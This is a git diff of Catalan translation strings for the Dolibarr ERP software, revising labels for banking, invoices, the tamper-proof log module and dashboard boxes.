-ShowAllTimeBalance=Mostar balanç des de principi +ShowAllTimeBalance=Mostra el saldo des de l'inici AllTime=Des del principi Reconciliation=Conciliació RIB=Compte bancari @@ -49,12 +49,15 @@ BankAccountDomiciliation=Dades bancàries BankAccountCountry=País del compte BankAccountOwner=Nom del titular del compte BankAccountOwnerAddress=Direcció del titular del compte +BankAccountOwnerZip=Codi postal del titular del compte +BankAccountOwnerTown=Ciutat del titular del compte +BankAccountOwnerCountry=País del titular del compte CreateAccount=Crear compte NewBankAccount=Compte nou NewFinancialAccount=Compte financer nou MenuNewFinancialAccount=Compte financer nou EditFinancialAccount=Edició compte -LabelBankCashAccount=Etiqueta compte o caixa +LabelBankCashAccount=Nom del banc o de l'efectiu AccountType=Tipus de compte BankType0=Compte d'estalvis BankType1=Compte bancari corrent @@ -108,7 +111,7 @@ SocialContributionPayment=Pagament d'impostos varis BankTransfer=Transferència bancària BankTransfers=Transferències bancàries MenuBankInternalTransfer=Transferència interna -TransferDesc=Utilitzeu la transferència interna per a transferir d'un compte a un altre, l'aplicació escriurà dos registres: un dèbit al compte d'origen i un crèdit al compte de destí. S'utilitzarà el mateix import, etiqueta i data per a aquesta transacció. +TransferDesc=Utilitzeu la transferència interna per a transferir d'un compte a un altre, l'aplicació escriurà dos registres: un dèbit al compte d'origen i un crèdit al compte de destí. S'utilitzarà el mateix import, nom i data per a aquesta transacció. TransferFrom=De TransferTo=Cap a TransferFromToDone=La transferència de %s cap a %s de %s %s s'ha creat. @@ -141,14 +144,14 @@ AllAccounts=Tots els comptes bancaris i en efectiu BackToAccount=Tornar al compte ShowAllAccounts=Mostra per a tots els comptes FutureTransaction=Transacció futura. No és possible conciliar. -SelectChequeTransactionAndGenerate=Seleccioneu / filtreu els xecs que s’inclouran al rebut del dipòsit de xecs. A continuació, feu clic a "Crea". +SelectChequeTransactionAndGenerate=Seleccioneu/filtreu els xecs que s'han d'incloure a la remesa de xecs. A continuació, feu clic a «Crea». InputReceiptNumber=Selecciona l'estat del compte bancari relacionat amb la conciliació. Utilitza un valor numèric que es pugui ordenar: AAAAMM o AAAAMMDD -EventualyAddCategory=Eventualment, indiqui una categoria en la qual classificar els registres +EventualyAddCategory=Finalment, especifiqueu una categoria on classificar els registres ToConciliate=A conciliar? ThenCheckLinesAndConciliate=A continuació, comproveu les línies presents en l'extracte bancari i feu clic DefaultRIB=Codi BAN per defecte AllRIB=Tots els codis BAN -LabelRIB=Etiqueta del codi BAN +LabelRIB=Nom BAN NoBANRecord=Codi BAN no registrat DeleteARib=Codi BAN eliminat ConfirmDeleteRib=Vols eliminar aquest registre BAN? @@ -166,7 +169,7 @@ VariousPayments=Pagaments varis ShowVariousPayment=Mostra pagaments diversos AddVariousPayment=Afegiu pagaments diversos VariousPaymentId=ID de pagament divers -VariousPaymentLabel=Etiqueta de pagament divers +VariousPaymentLabel=Nom de pagament varis ConfirmCloneVariousPayment=Confirmeu el clon d'un pagament divers SEPAMandate=Mandat SEPA YourSEPAMandate=La vostra ordre SEPA @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Ja s'ha definit un compte bancari SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Transferència SEPA: "Tipus de pagament" al nivell "Transferència de crèdit". SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Quan es genera un fitxer XML SEPA per a transferències de crèdit, la secció "PaymentTypeInformation" ara es pot col·locar dins de la secció "CreditTransferTransactionInformation" (en lloc de la secció "Pagament"). Us recomanem fermament que no marqueu aquesta opció per a col·locar PaymentTypeInformation al nivell de pagament, ja que tots els bancs no l'acceptaran necessàriament al nivell CreditTransferTransactionInformation. Poseu-vos en contacte amb el vostre banc abans de col·locar PaymentTypeInformation al nivell CreditTransferTransactionInformation. ToCreateRelatedRecordIntoBank=Per a crear un registre bancari relacionat que falta -BanklineExtraFields=Camps extra de la línia bancària diff --git a/htdocs/langs/ca_ES/bills.lang b/htdocs/langs/ca_ES/bills.lang index 627f4f31374..0a38b7cbfb4 100644 --- a/htdocs/langs/ca_ES/bills.lang +++ b/htdocs/langs/ca_ES/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Estadístiques factures a clients BillsStatisticsSuppliers=Estadístiques de Factures de proveïdors DisabledBecauseDispatchedInBookkeeping=Desactivat perquè la factura ja s'ha comptabilitzat DisabledBecauseNotLastInvoice=Desactivat perquè la factura no es pot esborrar. Algunes factures s'han registrat després d'aquesta i això crearia espais buits al comptador. -DisabledBecauseNotErasable=Desactivat perque no es pot eliminar +DisabledBecauseNotLastSituationInvoice=S'ha desactivat perquè la factura no es pot esborrar. Aquesta factura no és l'última del cicle de facturació de situació. +DisabledBecauseNotErasable=S'ha desactivat perquè no es pot esborrar InvoiceStandard=Factura estàndard InvoiceStandardAsk=Factura estàndard -InvoiceStandardDesc=Aquest tipus de factura és la factura tradicional. També es coneix com factura de dèbit (del verb deure). +InvoiceStandardDesc=Aquest tipus de factura és la factura comuna. +InvoiceStandardShort=Estàndard InvoiceDeposit=Factura de bestreta InvoiceDepositAsk=Factura de bestreta InvoiceDepositDesc=La factura de bestreta és el tipus de factura que es crea a la recepció d'una bestreta, si no és possible realitzar el pagament sobre una factura definitiva. @@ -24,11 +26,12 @@ InvoiceProForma=Factura proforma InvoiceProFormaAsk=Factura proforma InvoiceProFormaDesc=La factura proforma és la imatge d'una factura definitiva, però que no té cap valor comptable. InvoiceReplacement=Factura rectificativa +InvoiceReplacementShort=Substitució InvoiceReplacementAsk=Factura rectificativa de la factura -InvoiceReplacementDesc=La factura de substitució s’utilitza per substituir completament una factura sense que s’hagi rebut cap pagament.

      Nota: Només es poden substituir les factures sense pagament. Si la factura que reemplaça encara no està tancada, es tancarà automàticament a "abandonat". +InvoiceReplacementDesc=La factura de substitució s’utilitza per a substituir completament una factura sense que s’hagi rebut cap pagament.

      Nota: Només es poden substituir les factures sense pagament. Si la factura que reemplaça encara no està tancada, es tancarà automàticament a 'abandonada' InvoiceAvoir=Abonament InvoiceAvoirAsk=Abonament per factura rectificativa -InvoiceAvoirDesc=L'abonament és una factura negativa destinada a compensar un import de factura que difereix de l'import realment pagat (per haver pagat de més o per devolució de productes, per exemple). +InvoiceAvoirDesc=La nota de crèdit és una factura negativa que s'utilitza per a corregir el fet que una factura mostra un import diferent de l'import realment pagat (p. ex., el client va pagar massa per error o no pagarà l'import complet perquè alguns productes van ser retornats) . invoiceAvoirWithLines=Crear abonament amb les línies de la factura d'origen invoiceAvoirWithPaymentRestAmount=Crear abonament de la factura pendent de pagament invoiceAvoirLineWithPaymentRestAmount=Abonament per a la quantitat restant no pagada @@ -87,7 +90,7 @@ DefaultPaymentMode=Forma de pagament predeterminada DefaultBankAccount=Compte bancari per defecte IdPaymentMode=Forma de pagament (Id) CodePaymentMode=Forma de pagament (codi) -LabelPaymentMode=Forma de pagament (etiqueta) +LabelPaymentMode=Forma de pagament (nom) PaymentModeShort=Forma de pagament PaymentTerm=Condicions de pagament PaymentConditions=Condicions de pagament @@ -96,12 +99,12 @@ PaymentAmount=Import pagament PaymentHigherThanReminderToPay=Pagament superior a la resta a pagar HelpPaymentHigherThanReminderToPay=Atenció, l'import del pagament d'una o més factures és superior a l'import pendent de pagar.
      Editeu la vostra entrada; en cas contrari, confirmeu i considereu la possibilitat de crear un abonament per l'excés rebut per cada factura pagada de més. HelpPaymentHigherThanReminderToPaySupplier=Atenció, l'import del pagament d'una o més factures és superior a l'import pendent de pagar.
      Editeu l'entrada, en cas contrari, confirmeu i considereu la possibilitat de crear un abonament per l'excés pagat per cada factura pagada de més. -ClassifyPaid=Classifica "Pagat" -ClassifyUnPaid=Classifica "sense pagar" -ClassifyPaidPartially=Classifica "Pagat parcialment" -ClassifyCanceled=Classifica "Abandonat" -ClassifyClosed=Classifica "Tancat" -ClassifyUnBilled=Classifiqueu 'facturar' +ClassifyPaid=Marca «Pagat» +ClassifyUnPaid=Marca «No pagat» +ClassifyPaidPartially=Marca «Pagat parcialment» +ClassifyCanceled=Marca «Abandonats» +ClassifyClosed=Marca «Tancat» +ClassifyUnBilled=Marca «No facturat» CreateBill=Crear factura CreateCreditNote=Crear abonament AddBill=Crear factura o abonament @@ -128,7 +131,7 @@ BillStatusPaidBackOrConverted=Nota de crèdit reembossada o marcada com a crèdi BillStatusConverted=Pagada (llesta per a utilitzar-se en la factura final) BillStatusCanceled=Abandonada BillStatusValidated=Validada (a pagar) -BillStatusStarted=Pagada parcialment +BillStatusStarted=Començat BillStatusNotPaid=Pendent BillStatusNotRefunded=No reemborsat BillStatusClosedUnpaid=Tancada (Pendent) @@ -140,7 +143,7 @@ Refunded=Reemborsada BillShortStatusConverted=Tractada BillShortStatusCanceled=Abandonada BillShortStatusValidated=Validada -BillShortStatusStarted=Començada +BillShortStatusStarted=Començat BillShortStatusNotPaid=Pendent BillShortStatusNotRefunded=No reemborsat BillShortStatusClosedUnpaid=Tancada @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Aquesta part o u ErrorInvoiceIsNotLastOfSameType=Error: la data de la factura %s és %s. Ha de ser posterior o igual a l'última data per a les factures del mateix tipus (%s). Si us plau, canvieu la data de la factura. BillFrom=Emissor BillTo=Enviar a +ShippingTo=L'enviament a ActionsOnBill=Accions en la factura RecurringInvoiceTemplate=Plantilla / Factura recurrent NoQualifiedRecurringInvoiceTemplateFound=No es pot generar cap factura de plantilla periòdica. @@ -168,7 +172,7 @@ NewBill=Factura nova LastBills=Últimes %s factures LatestTemplateInvoices=Últimes %s plantilles de factura LatestCustomerTemplateInvoices=Últimes %s plantilles de factures de client -LatestSupplierTemplateInvoices=Darreres %s plantilles de factures de proveïdor +LatestSupplierTemplateInvoices=Últimes %s plantilles de factures de proveïdor LastCustomersBills=Últimes %s factures de client LastSuppliersBills=Últimes %s factures de proveïdor AllBills=Totes les factures @@ -184,7 +188,7 @@ ConfirmValidateBill=Està segur de voler validar aquesta factura amb la referèn ConfirmUnvalidateBill=Està segur de voler tornar la factura %s a l'estat esborrany? ConfirmClassifyPaidBill=Està segur de voler classificar la factura %s com pagada? ConfirmCancelBill=Està segur de voler anul·lar la factura %s? -ConfirmCancelBillQuestion=Per quina raó vols classificar aquesta factura com 'abandonada'? +ConfirmCancelBillQuestion=Per què voleu marcar aquesta factura com a «abandonada»? ConfirmClassifyPaidPartially=Està segur de voler classificar la factura %s com pagada? ConfirmClassifyPaidPartiallyQuestion=Aquesta factura no s'ha pagat completament. Quin és el motiu de tancament d'aquesta factura? ConfirmClassifyPaidPartiallyReasonAvoir=La resta a pagar (%s %s) és un descompte atorgat perquè el pagament es va fer abans de temps. Regularitzaré l'IVA d'aquest descompte amb un abonament. @@ -192,7 +196,7 @@ ConfirmClassifyPaidPartiallyReasonDiscount=La resta a pagar (%s %s) és u ConfirmClassifyPaidPartiallyReasonDiscountNoVat=La resta a pagar (%s %s) és un descompte acordat després de la facturació. Accepto perdre l'IVA d'aquest descompte ConfirmClassifyPaidPartiallyReasonDiscountVat=La resta a pagar (%s %s) és un descompte atorgat perquè el pagament es va fer abans de temps. Recupero l'IVA d'aquest descompte, sense un abonament. ConfirmClassifyPaidPartiallyReasonBadCustomer=Client morós -ConfirmClassifyPaidPartiallyReasonBankCharge=Deducció per banc (comissions bancàries intermediaris) +ConfirmClassifyPaidPartiallyReasonBankCharge=Deducció per banc (comissions bancàries) ConfirmClassifyPaidPartiallyReasonProductReturned=Productes retornats en part ConfirmClassifyPaidPartiallyReasonOther=D'altra raó ConfirmClassifyPaidPartiallyReasonDiscountNoVatDesc=Aquesta opció és possible si la vostra factura ha rebut els comentaris adequats. (Exemple «Només l'impost corresponent al preu realment pagat dona dret a la deducció») @@ -200,7 +204,7 @@ ConfirmClassifyPaidPartiallyReasonDiscountVatDesc=En alguns països, aquesta opc ConfirmClassifyPaidPartiallyReasonAvoirDesc=Aquesta elecció és l'elecció que s'ha de prendre si les altres no són aplicables ConfirmClassifyPaidPartiallyReasonBadCustomerDesc=Un client morós és un client que es nega a pagar el seu deute. ConfirmClassifyPaidPartiallyReasonProductReturnedDesc=Aquesta elecció és possible si el cas de pagament incomplet és arran d'una devolució de part dels productes -ConfirmClassifyPaidPartiallyReasonBankChargeDesc=L'import no pagat és comissions bancàries intermediaris , deduïdes directament de l'import correcte pagat pel Client. +ConfirmClassifyPaidPartiallyReasonBankChargeDesc=L'import no pagat son comissions bancàries, deduïdes directament de l'import correcte pagat pel Client. ConfirmClassifyPaidPartiallyReasonOtherDesc=Utilitza aquesta opció si totes les altres no són adequades, per exemple, en la següent situació:
      - el pagament no s'ha completat perquè alguns productes es van tornar a enviar
      - la quantitat reclamada és massa important perquè s'ha oblidat un descompte
      En tots els casos, s'ha de corregir l'import excessiu en el sistema de comptabilitat mitjançant la creació d’un abonament. ConfirmClassifyAbandonReasonOther=Altres ConfirmClassifyAbandonReasonOtherDesc=Aquesta elecció serà per a qualsevol altre cas. Per exemple arran de la intenció de crear una factura rectificativa. @@ -239,8 +243,8 @@ RemainderToPay=Queda sense pagar RemainderToPayMulticurrency=La moneda original pendent de pagament RemainderToTake=Import restant per a cobrar RemainderToTakeMulticurrency=Import restant, moneda original -RemainderToPayBack=Import pendent per reemborsar -RemainderToPayBackMulticurrency=Import restant per reembossar, moneda original +RemainderToPayBack=Import restant a reemborsar +RemainderToPayBackMulticurrency=Import restant a reemborsar, moneda original NegativeIfExcessRefunded=negatiu si es reemborsa l'excés Rest=Pendent AmountExpected=Import reclamat @@ -259,7 +263,7 @@ NoOtherDraftBills=Cap altra factura esborrany NoDraftInvoices=Sense factures esborrany RefBill=Ref. factura ToBill=A facturar -RemainderToBill=Queda per facturar +RemainderToBill=Queda per a facturar SendBillByMail=Envia factura per e-mail SendReminderBillByMail=Envia recordatori per e-mail RelatedCommercialProposals=Pressupostos relacionats @@ -271,7 +275,7 @@ DatePointOfTax=Punt d'impostos NoInvoice=Cap factura NoOpenInvoice=No hi ha factura oberta NbOfOpenInvoices=Nombre de factures obertes -ClassifyBill=Classifica la factura +ClassifyBill=Marca la factura SupplierBillsToPay=Factures de proveïdors pendents de pagament CustomerBillsUnpaid=Factures de client pendents de cobrament NonPercuRecuperable=No percebut recuperable @@ -400,7 +404,7 @@ DateIsNotEnough=Encara no s'ha arribat a la data InvoiceGeneratedFromTemplate=La factura %s s'ha generat des de la plantilla de factura recurrent %s GeneratedFromTemplate=Generat a partir de la plantilla factura %s WarningInvoiceDateInFuture=Alerta, la data de factura és major que la data actual -WarningInvoiceDateTooFarInFuture=Alerta, la data de factura és molt antiga respecte la data actual +WarningInvoiceDateTooFarInFuture=Avís, la data de la factura està massa lluny de la data actual ViewAvailableGlobalDiscounts=Veure descomptes disponibles GroupPaymentsByModOnReports=Agrupar pagaments per mode als informes # PaymentConditions @@ -431,9 +435,9 @@ PaymentConditionShort14DENDMONTH=14 dies final de mes PaymentCondition14DENDMONTH=En els 14 dies següents a final de mes PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% dipòsit PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% dipòsit, la resta a l'entrega -FixAmount=Import fixe: 1 línia amb l'etiqueta '%s' +FixAmount=Import fix: 1 línia amb el nom '%s' VarAmount=Import variable (%% total) -VarAmountOneLine=Quantitat variable (%% tot.) - 1 línia amb l'etiqueta '%s' +VarAmountOneLine=Import variable (%% tot.) - 1 línia amb el nom '%s' VarAmountAllLines=Import variable (%% tot.): Totes les línies des de l'origen DepositPercent=Dipòsit %% DepositGenerationPermittedByThePaymentTermsSelected=Això ho permeten les condicions de pagament seleccionades @@ -531,12 +535,12 @@ CantRemovePaymentSalaryPaid=No es pot eliminar el pagament perquè el salari est ExpectedToPay=Esperant el pagament CantRemoveConciliatedPayment=No es pot eliminar el pagament reconciliat PayedByThisPayment=Pagada per aquest pagament -ClosePaidInvoicesAutomatically=Classifiqueu automàticament totes les factures estàndard, de pagament inicial o de reemplaçament com a "Pagades" quan el pagament es realitzi completament. -ClosePaidCreditNotesAutomatically=Classifiqueu automàticament totes les notes de crèdit com a "Pagades" quan es faci la devolució íntegra. -ClosePaidContributionsAutomatically=Classifiqueu automàticament totes les contribucions socials o fiscals com a "Pagades" quan el pagament es realitzi íntegrament. -ClosePaidVATAutomatically=Classifica automàticament la declaració d'IVA com a "Pagada" quan el pagament es realitzi completament. -ClosePaidSalaryAutomatically=Classifiqueu automàticament el salari com a "Pagat" quan el pagament es faci completament. -AllCompletelyPayedInvoiceWillBeClosed=Totes les factures no pendents de pagament es tancaran automàticament amb l'estat "Pagat". +ClosePaidInvoicesAutomatically=Marca automàticament totes les factures estàndard, de pagament inicial o de substitució com a «Pagades» quan el pagament s'hagi fet completament. +ClosePaidCreditNotesAutomatically=Marca automàticament totes les notes de crèdit com a «Pagades» quan el reemborsament s'hagi fet completament. +ClosePaidContributionsAutomatically=Marca automàticament totes les cotitzacions socials o fiscals com a "Pagades" quan el pagament s'hagi fet íntegrament. +ClosePaidVATAutomatically=Marca automàticament la declaració d'IVA com a «Pagada» quan el pagament s'hagi fet completament. +ClosePaidSalaryAutomatically=Marca automàticament el sou com a «Pagat» quan el pagament s'hagi fet completament. +AllCompletelyPayedInvoiceWillBeClosed=Totes les factures sense pagaments pendents es tancaran automàticament amb l'estat «Pagat». ToMakePayment=Pagar ToMakePaymentBack=Reemborsar ListOfYourUnpaidInvoices=Llistat de factures impagades @@ -551,7 +555,7 @@ PDFCrevetteDescription=Plantilla Crevette per factures PDF. Una plantilla de fac TerreNumRefModelDesc1=Retorna el número en el format %syymm-nnnn per a les factures estàndard i %syymm-nnnn per a les notes de crèdit on aa és any, mm és mes i nnnn és un número d’increment automàtic seqüencial sense interrupció i sense retorn a 0 MarsNumRefModelDesc1=Número de devolució en el format %syymm-nnnn per a factures estàndard, %syymm-nnnn per a factures de substitució, %syymm-nnnn per a factures d’avançament i %syymm notes i any sense descans i sense retorn a 0 TerreNumRefModelError=Ja existeix una factura que comença amb $syymm i no és compatible amb aquest model de seqüència. Elimineu-la o canvieu-li el nom per a activar aquest mòdul. -CactusNumRefModelDesc1=Número de devolució en el format %syymm-nnnn per a les factures estàndard, %syymm-nnnn per a les notes de crèdit i %syymm-nnnn per a les factures d’avançament en què yy és any, mm és mes i nnnn és un número que no ha de retorn automàtic 0 +CactusNumRefModelDesc1=Retorna un número en el format %syymm-nnnn per a factures estàndard, %syymm-nnnn per a devolucions i %syymm-nnnn per a factures de bestreta on yy és l'any, mm és el mes i nnnn és un número seqüencial auto-incrementat sense ruptura ni retorn a 0 EarlyClosingReason=Motiu de tancament anticipat EarlyClosingComment=Nota de tancament anticipat ##### Types de contacts ##### @@ -622,3 +626,8 @@ PaymentRegisteredAndInvoiceSetToPaid=Pagament registrat i factura %s configurada SendEmailsRemindersOnInvoiceDueDate=Envieu un recordatori per correu electrònic per a les factures no pagades MakePaymentAndClassifyPayed=Registre de pagament BulkPaymentNotPossibleForInvoice=El pagament massiu no és possible per a la factura %s (tipus o estat incorrecte) +MentionVATDebitOptionIsOn=Opció de pagar impostos en funció de dèbits +MentionCategoryOfOperations=Categoria d'operacions +MentionCategoryOfOperations0=Lliurament de mercaderies +MentionCategoryOfOperations1=Prestació de serveis +MentionCategoryOfOperations2=Mixt: lliurament de béns i prestació de serveis diff --git a/htdocs/langs/ca_ES/blockedlog.lang b/htdocs/langs/ca_ES/blockedlog.lang index f878fc12d5a..2c1a310ef20 100644 --- a/htdocs/langs/ca_ES/blockedlog.lang +++ b/htdocs/langs/ca_ES/blockedlog.lang @@ -8,34 +8,12 @@ BrowseBlockedLog=Registres inalterables ShowAllFingerPrintsMightBeTooLong=Mostra tots els registres arxivats (pot ser llarg) ShowAllFingerPrintsErrorsMightBeTooLong=Mostra tots els registres d'arxiu no vàlids (pot ser llarg) DownloadBlockChain=Baixa les empremtes dactilars -KoCheckFingerprintValidity=L’entrada de registre arxivada no és vàlida. Significa que algú (un pirata informàtic?) ha modificat algunes dades d’aquest registre després que es va gravar, o que ha estat esborrat el registre arxivat anterior (comproveu que la línia amb numeració anterior existeix) o ha sigut modificat el el checksum del registre anterior. +KoCheckFingerprintValidity=L'entrada de registre arxivada no és vàlida. Significa que algú (un pirata informàtic?) ha modificat algunes dades d'aquest registre després d'haver-lo enregistrat, o ha esborrat el registre arxivat anterior (comproveu que existeixi la línia amb la numeració anterior) o ha modificat la suma de verificació del registre anterior. OkCheckFingerprintValidity=El registre del registre arxivat és vàlid. Les dades d'aquesta línia no s'han modificat i l'entrada segueix l'anterior. OkCheckFingerprintValidityButChainIsKo=El registre arxivat sembla ser vàlid en comparació amb l'anterior, però la cadena s'ha corromput prèviament. AddedByAuthority=Emmagatzemat a l'autoritat remota NotAddedByAuthorityYet=Encara no emmagatzemat a l'autoritat remota ShowDetails=Mostra els detalls emmagatzemats -logPAYMENT_VARIOUS_CREATE=S'ha creat el pagament (no assignat a una factura) -logPAYMENT_VARIOUS_MODIFY=S'ha modificat el pagament (no assignat a una factura) -logPAYMENT_VARIOUS_DELETE=Supressió lògica de pagament (no assignada a una factura) -logPAYMENT_ADD_TO_BANK=Pagament afegit al banc -logPAYMENT_CUSTOMER_CREATE=S'ha creat el pagament del client -logPAYMENT_CUSTOMER_DELETE=Lògica de liquidació del pagament del client -logDONATION_PAYMENT_CREATE=Pagament de donació creat -logDONATION_PAYMENT_DELETE=Llicència de pagament de la donació -logBILL_PAYED=S'ha pagat la factura del client -logBILL_UNPAYED=Establiment de la factura del client no remunerat -logBILL_VALIDATE=Validació factura -logBILL_SENTBYMAIL=La factura del client s'envia per correu -logBILL_DELETE=S'ha suprimit la factura del client lògicament -logMODULE_RESET=S'ha desactivat el mòdul bloquejat -logMODULE_SET=S'ha habilitat el mòdul bloquejat -logDON_VALIDATE=Donació validada -logDON_MODIFY=Donació modificada -logDON_DELETE=Donació de l'eliminació lògica -logMEMBER_SUBSCRIPTION_CREATE=S'ha creat una subscripció de membre -logMEMBER_SUBSCRIPTION_MODIFY=S'ha modificat la subscripció de membre -logMEMBER_SUBSCRIPTION_DELETE=Supressió lògica de subscripció de membre -logCASHCONTROL_VALIDATE=Registre de tancament de caixa BlockedLogBillDownload=Descarrega la factura del client BlockedLogBillPreview=Previsualització de la factura del client BlockedlogInfoDialog=Detalls del registre @@ -48,10 +26,36 @@ DataOfArchivedEvent=Dades completes d'esdeveniments arxivats ImpossibleToReloadObject=Objecte original (tipus %s, identificador %s) no enllaçat (vegeu la columna "Dades completes" per a obtenir dades desades inalterables) BlockedLogAreRequiredByYourCountryLegislation=El mòdul de registres inalterables pot ser requerit per la legislació del vostre país. La desactivació d'aquest mòdul pot fer que qualsevol transacció futura sigui invàlida pel que fa a la llei i l'ús del programari legal, ja que no es pot validar mitjançant una auditoria fiscal. BlockedLogActivatedBecauseRequiredByYourCountryLegislation=El mòdul de registres inalterables s'ha activat a causa de la legislació del vostre país. La desactivació d'aquest mòdul pot fer que qualsevol transacció futura sigui invàlida pel que fa a la llei i l'ús del programari legal, ja que no es pot validar mitjançant una auditoria fiscal. -BlockedLogDisableNotAllowedForCountry=Llista de països on l'ús d'aquest mòdul és obligatori (només per impedir que es desactivi el mòdul per error, si el vostre país està en aquesta llista, la desactivació del mòdul no és possible sense editar aquesta llista. Noteu també que habilitar / desactivar aquest mòdul seguiu una pista en el registre inalterable). +BlockedLogDisableNotAllowedForCountry=Llista de països on l'ús d'aquest mòdul és obligatori (només per a evitar que es desactivi el mòdul per error, si el vostre país és en aquesta llista, no és possible desactivar el mòdul sense editar aquesta llista primer. Tingueu en compte també que activar/desactivar aquest mòdul mantindrà un registre al registre inalterable). OnlyNonValid=No vàlid TooManyRecordToScanRestrictFilters=Hi ha massa registres per a escanejar/analitzar. Limita la llista amb filtres més restrictius. RestrictYearToExport=Restringeix el mes / any per a exportar BlockedLogEnabled=S'ha habilitat el sistema per a fer el seguiment d'esdeveniments en registres inalterables BlockedLogDisabled=El sistema per a fer el seguiment d'esdeveniments en registres inalterables s'ha desactivat després de fer algunes gravacions. Hem desat una empremta digital especial per a fer un seguiment de la cadena com a trencada BlockedLogDisabledBis=S'ha desactivat el sistema per a fer el seguiment d'esdeveniments en registres inalterables. Això és possible perquè encara no s'ha fet cap registre. + +## logTypes +logBILL_DELETE=S'ha suprimit la factura del client lògicament +logBILL_PAYED=S'ha pagat la factura del client +logBILL_SENTBYMAIL=La factura del client s'envia per correu +logBILL_UNPAYED=Establiment de la factura del client no remunerat +logBILL_VALIDATE=Validació factura +logCASHCONTROL_VALIDATE=Registre de tancament de caixa +logDOC_DOWNLOAD=Descàrrega d'un document validat per a imprimir o enviar +logDOC_PREVIEW=Vista prèvia d'un document validat per a imprimir o descarregar +logDONATION_PAYMENT_CREATE=Pagament de donació creat +logDONATION_PAYMENT_DELETE=Llicència de pagament de la donació +logDON_DELETE=Donació de l'eliminació lògica +logDON_MODIFY=Donació modificada +logDON_VALIDATE=Donació validada +logMEMBER_SUBSCRIPTION_CREATE=S'ha creat una subscripció de membre +logMEMBER_SUBSCRIPTION_DELETE=Supressió lògica de subscripció de membre +logMEMBER_SUBSCRIPTION_MODIFY=S'ha modificat la subscripció de membre +logMODULE_RESET=S'ha desactivat el mòdul bloquejat +logMODULE_SET=S'ha habilitat el mòdul bloquejat +logPAYMENT_ADD_TO_BANK=Pagament afegit al banc +logPAYMENT_CUSTOMER_CREATE=S'ha creat el pagament del client +logPAYMENT_CUSTOMER_DELETE=Lògica de liquidació del pagament del client +logPAYMENT_VARIOUS_CREATE=S'ha creat el pagament (no assignat a una factura) +logPAYMENT_VARIOUS_DELETE=Supressió lògica de pagament (no assignada a una factura) +logPAYMENT_VARIOUS_MODIFY=S'ha modificat el pagament (no assignat a una factura) diff --git a/htdocs/langs/ca_ES/boxes.lang b/htdocs/langs/ca_ES/boxes.lang index 86ca76c2032..68a77898282 100644 --- a/htdocs/langs/ca_ES/boxes.lang +++ b/htdocs/langs/ca_ES/boxes.lang @@ -18,12 +18,13 @@ BoxLastActions=Últimes accions BoxLastContracts=Últims contractes BoxLastContacts=Últims contactes/adreces BoxLastMembers=Últims socis -BoxLastModifiedMembers=Darrers membres modificats -BoxLastMembersSubscriptions=Últimes subscripcions de membres +BoxLastModifiedMembers=Últims socis modificats +BoxLastMembersSubscriptions=Últimes subscripcions de socis BoxFicheInter=Últimes intervencions BoxCurrentAccounts=Balanç de comptes oberts BoxTitleMemberNextBirthdays=Aniversaris d'aquest mes (membres) BoxTitleMembersByType=Membres per tipus i estat +BoxTitleMembersByTags=Socis per etiquetes i estat BoxTitleMembersSubscriptionsByYear=Subscripcions de membres per any BoxTitleLastRssInfos=Últimes %s notícies de %s BoxTitleLastProducts=Productes / Serveis: últims %s modificats @@ -32,8 +33,8 @@ BoxTitleLastSuppliers=Últims %s proveïdors registrats BoxTitleLastModifiedSuppliers=Proveïdors: últims %s modificats BoxTitleLastModifiedCustomers=Clients: últims %s modificats BoxTitleLastCustomersOrProspects=Últims %s clients o clients potencials -BoxTitleLastCustomerBills=Darreres %s factures a client modificades -BoxTitleLastSupplierBills=Darreres %s factures de proveïdor modificades +BoxTitleLastCustomerBills=Últimes %s factures de client modificades +BoxTitleLastSupplierBills=Últimes %s factures de proveïdor modificades BoxTitleLastModifiedProspects=Clients Potencials: últims %s modificats BoxTitleLastModifiedMembers=Últims %s socis BoxTitleLastFicheInter=Últimes %s intervencions modificades @@ -44,13 +45,15 @@ BoxTitleSupplierOrdersAwaitingReception=Comandes del proveïdor en espera de rec BoxTitleLastModifiedContacts=Adreces i contactes: últims %s modificats BoxMyLastBookmarks=Adreces d'interès: últims %s BoxOldestExpiredServices=Serveis antics expirats +BoxOldestActions=Els esdeveniments més antics per a fer BoxLastExpiredServices=Últims %s contactes amb serveis actius expirats BoxTitleLastActionsToDo=Últimes %s accions a fer -BoxTitleLastContracts=Últims contractes %s que es van modificar -BoxTitleLastModifiedDonations=Últimes donacions %s que es van modificar -BoxTitleLastModifiedExpenses=Últims informes de despeses %s que es van modificar -BoxTitleLatestModifiedBoms=Últims BOMs %s que es van modificar -BoxTitleLatestModifiedMos=Últimes comandes de fabricació %s que es van modificar +BoxTitleOldestActionsToDo=Els esdeveniments %s més antics per a fer, no s'han completat +BoxTitleLastContracts=Últims %s contractes que s'han modificat +BoxTitleLastModifiedDonations=Últimes %s donacions que s'han modificat +BoxTitleLastModifiedExpenses=Últims %s informes de despeses que s'han modificat +BoxTitleLatestModifiedBoms=Últims %s BOMs que s'han modificat +BoxTitleLatestModifiedMos=Últimes %s ordres de fabricació modificades BoxTitleLastOutstandingBillReached=Clients que han superat el màxim pendent BoxGlobalActivity=Activitat global BoxGoodCustomers=Bons clients @@ -58,7 +61,7 @@ BoxTitleGoodCustomers=% bons clients BoxScheduledJobs=Tasques programades BoxTitleFunnelOfProspection=Oportunitat embut FailedToRefreshDataInfoNotUpToDate=No s'ha pogut actualitzar el flux RSS. Última data d'actualització amb èxit: %s -LastRefreshDate=Última data que es va refrescar +LastRefreshDate=Última data d'actualització NoRecordedBookmarks=No hi ha marcadors personals. ClickToAdd=Feu clic aquí per a afegir. NoRecordedCustomers=Cap client registrat @@ -91,8 +94,8 @@ BoxTitleLatestModifiedSupplierOrders=Comandes a Proveïdor: últimes %s modifica BoxTitleLastModifiedCustomerBills=Factures del client: últimes %s modificades BoxTitleLastModifiedCustomerOrders=Comandes de venda: últimes %s modificades BoxTitleLastModifiedPropals=Últims %s pressupostos modificats -BoxTitleLatestModifiedJobPositions=Últims llocs de treball modificats %s -BoxTitleLatestModifiedCandidatures=Últimes aplicacions de treball modificades %s +BoxTitleLatestModifiedJobPositions=Últims %s llocs de treball modificats 